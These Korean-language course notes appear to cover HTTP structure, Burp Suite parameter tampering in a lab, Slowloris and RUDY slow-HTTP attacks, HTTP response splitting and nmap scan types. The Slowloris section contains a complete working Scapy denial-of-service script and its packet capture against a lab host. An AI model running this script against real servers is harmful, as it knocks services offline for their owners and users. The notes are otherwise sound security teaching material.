HTTP(HyperText Transfer Protocol)
요청(Request) / 응답(Response) 구조
Stateless → 요청과 요청간의 관계를 유지, 확인하지 않는다. ⇒ 세션, 연결을 유지하지 않는다.
요청 구조
↳ : 개행문자(CRLF)를 의미한다고 가정
요청 시작 ⇒ 요청방식 URI HTTP/1.1↳
요청헤더 ⇒ Content-Type: x-www-form-urlencoded↳
: ↳
Content-Length: 2002 ↳
↳
요청본문 ⇒ 서버로 전달할 내용 = 요청 파라미터 ⇒ 요청 방식에 따라서 있을 수도 있고, 없을 수도 있음
GET http://exam.com/abc.do HTTP/1.1↳Content-Type: text/html↳...↳...↳↳ 개행문자 2개가 연속해서 나오는곳 ⇒ 요청 헤더의 끝
방식((method)) : 서버에서 처리할 명령어
- GET : 리소스를 요청. 요청 파라미터를 주소에 포함해서 전달. 예: http://www.exam.com/abc.do?name=hong
- POST : 리소스를 요청. 요청 파라미터를 요청 본문에 포함해서 전달.
- PUT : 리소스를 생성
- DELETE : 리소스를 삭제
- HEAD : 리소스를 요청하는데, 결과 헤더만 반환
- OPTIONS : 서버에서 제공할 수 있는 명령어 목록을 반환
URI (Uniform Resource Identifier)
- URL (Location) http://www.exam.com:80/abc/def/xyz.do?name=hong&age=24
스킴// 호스트명:포트 /웹 루트 디렉터리로 부터의 경로?요청 파라미터
- URN (Name)
응답 구조
응답 시작 ⇒ HTTP/1.1 결과코드 결과설명↳
응답 헤더 ⇒ : ↳
: ↳
: ↳
↳
응답 본문 ⇒ 클라이언트가 요청한 내용
<html><head>...</head><body>...</body></html>
결과코드
1xx ⇒ 정보
2xx ⇒ 성공. 200 OK.
3xx ⇒ 리다이렉트
4xx ⇒ 클라이언트 오류
5xx ⇒ 서버 오류
Burpsuite를 이용한 요청 파라미터 조작
IE 브라우저에 Proxy가 설정되어 있는지 확인하고, http://localhost:8080/openeg 로 접속
Burpsuite Proxy를 Intercept is on 상태로 변경
username에 "a", password에 "b"를 입력하고 로그인 버튼을 클릭
Burpsuite Proxy에서 요청 파라미터의 값을 변경한 후 Forward 버튼을 클릭해서 변경된 값을 서버로 전달.
이후 이어지는 요청과 응답을 Intercept 하지 않으려면 Intercept is off 상태로 변경
IE 브라우저에 로그인 성공 여부를 확인
@Attacker Burpsuite Proxy 설정
Proxy Listeners 포트를 확인
브라우저에 Proxy를 사용하도록 설정
Intercept is on 상태로 브라우저에서 Windows XP로 요청을 보냈을 때 요청이 캡쳐되는지 확인
Slowloris 공격 = Slow HTTP Header Dos
HTTP 프로토콜의 취약점을 이용한 공격
HTTP 헤더가 끝나는 지점에 개행문자(CRLF)가 두번 와야 하는데, 요청 헤더의 끝에 개행문자를 누락시켜 서버가 연결을 유지
GET http://exam.com/abc.do HTTP/1.1↳Content-Type: text/html↳x-a: b↳x-a: b↳...↳...↳...↳
요청 헤더를 끝내지 않고(↳...↳...↳...↳) 연결을 유지
import sys
import time
from scapy.all import *
def slowloris(target, num):
# 연결 설정
# syn, ack 리스트 변수는 num 개의 연결을 생성
print("start connect > {}".format(target))
syn = []
for i in range(num):
# SYN 패킷을 생성
syn.append(IP(dst=target)/TCP(sport=RandNum(1024, 65535), dport=80, flags='S'))
syn_ack = sr(syn, verbose=0)[0]
# SYN_ACK 구조 확인
#for i in syn_ack:
# print(i)
# ACK 패킷을 생성해서 전달
ack = []
for sa in syn_ack:
# 서버로 전달할 요청(시작과 마무리되지 않은 헤더)
payload = "GET /{} HTTP/1.1\r\n".format(str(RandNum(1, num))) + \
"Host: {}\r\n".format(target) + \
"User-Agent: Mozilla/4.0\r\n" + \
"Content-Length: 42\r\n"
ack.append(IP(dst=target)/TCP(sport=sa[1].dport, dport=80, flags="A", seq=sa[1].ack, ack=sa[1].seq+1)/payload)
answer = sr(ack, verbose=0)[0]
count = 1
while True:
print("{}번째 헤더 추가 전송".format(count))
# 의미 없는 요청 헤더를 추가 전송
ack = []
for ans in answer:
ack.append(IP(dst=target)/TCP(sport=ans[1].dport, dport=80, flags="PA", seq=ans[1].ack, ack=ans[1].seq+1)/"X-a: b\r\n")
answer = sr(ack, inter=0.5, verbose=0)[0]
time.sleep(10)
count += 1
if __name__ == "__main__":
if len(sys.argv) < 3:
print("사용법: python3 slowloris.py TARGET_IP COUNT_OF_CONNECTION")
sys.exit()
target = sys.argv[1]
num = int(sys.argv[2])
slowloris(target, num)
GET /3 HTTP/1.1
Host: 192.168.94.131
User-Agent: Mozilla/4.0
Content-Length: 42
X-a: b
X-a: b
X-a: b
X-a: b
00000000 47 45 54 20 2f 33 20 48 54 54 50 2f 31 2e 31 0d GET /3 H TTP/1.1.
00000010 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 39 .Host: 1 92.168.9
00000020 34 2e 31 33 31 0d 0a 55 73 65 72 2d 41 67 65 6e 4.131..U ser-Agen
00000030 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 0d 0a t: Mozil la/4.0..
00000040 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 Content- Length:
00000050 34 32 0d 0a 42..
00000060 58 2d 61 3a 20 62 0d 0a 58 2d 61 3a 20 62 0d 0a X-a: b..X-a: b..
00000070 58 2d 61 3a 20 62 0d 0a 58 2d 61 3a 20 62 0d 0a X-a: b..X-a: b..
RUDY Attack = HTTP POST Attack
POST http://exam.com/abc.do HTTP/1.1↳Content-Type: text/html↳Content-Length: 20000↳...↳↳aaaa
요청 본문(aaaa)를 천천히 전송해서 연결을 유지
HTTP 응답 분할(HTTP response splitting)
응답을 생성하는 과정에서 외부에서 전달된 값(=요청 파라미터)이 응답 헤더의 값으로 사용될 수 있다면, 요청 파라미터에 (응답 헤더의 끝을 나타내는) 개행문자의 포함 여부를 확인하지 않고 응답 헤더의 값으로 사용하면 여러개의 응답이 생성되어 클라이언트로 전달되는 문제
/코드
HTTP/1.1 200 OK↳Content-Type: text/html↳Set-Cookie: a=b↳...↳↳<script>...</script>↳HTTP/1.1 200 OK↳ … ↳ … ↳ … ↳↳<html>...</html>
HTTP/1.1 200 OK↳ ⇐ 응답 시작
Content-Type: text/html↳ ⇐ 응답 헤더의 시작
Set-Cookie: a=b↳
...↳
↳ ⇐ 응답 헤더의 끝
<script>...</script>↳ ⇐ 응답 본문 → 스크립트 코드가 사용자 브라우저를 통해서 실행
HTTP/1.1 200 OK↳ ⇐ 응답 시작 (두번째)
… ↳ ⇐ 응답 헤더의 시작
… ↳
… ↳
↳ ⇐ 응답 헤더의 끝
<html>...</html> ⇐ 응답 본문
Port Scanning
nmap(network map)
- 네트워크에 연결되어 있는 호스트의 정보(IP, OS, Service Port, SW, ....등)를 파악하는 도구
TCP Open Scan
- 3way handshake 과정을 모두 완료 ⇒ SYN — SYN/ACK — SYN
- 해당 포트가 유효한 경우 ⇒ SYN → SYN/ACK → SYN
- 해당 포트가 유효하지 않은 경우 ⇒ SYN → RST/ACK
- nmap -sT VICTIM_IP PORT
Stealth Scan
- 3 way handshaking 과정을 완료하지 않거나, 비정상적인 패킷을 보내므로, 연결이 완료되지 않아 연결 기록이 남지않음
- TCP half open scan, FIN/XMAS/NULL scan
TCP half open scan = TCP SYN Open scan
- 포트가 유효한 경우 : SYN → SYN/ACK
- 포트가 무효한 경우 : SYN → RST/ACK
- nmap -sS
FIN scan
- 포트가 유효한 경우 : FIN→ (무응답)
- 포트가 무효한 경우 : FIN → RST/ACK
- nmap -sF
XMAS scan
- 포트가 유효한 경우 : FIN+PSH+URG → (무응답)
- 포트가 무효한 경우 : FIN+PSH+URG → RST/ACK
- nmap -sX
Null scan
- 포트가 유효한 경우 : () → (무응답)
- 포트가 무효한 경우 : () → RST/ACK
- nmap -sN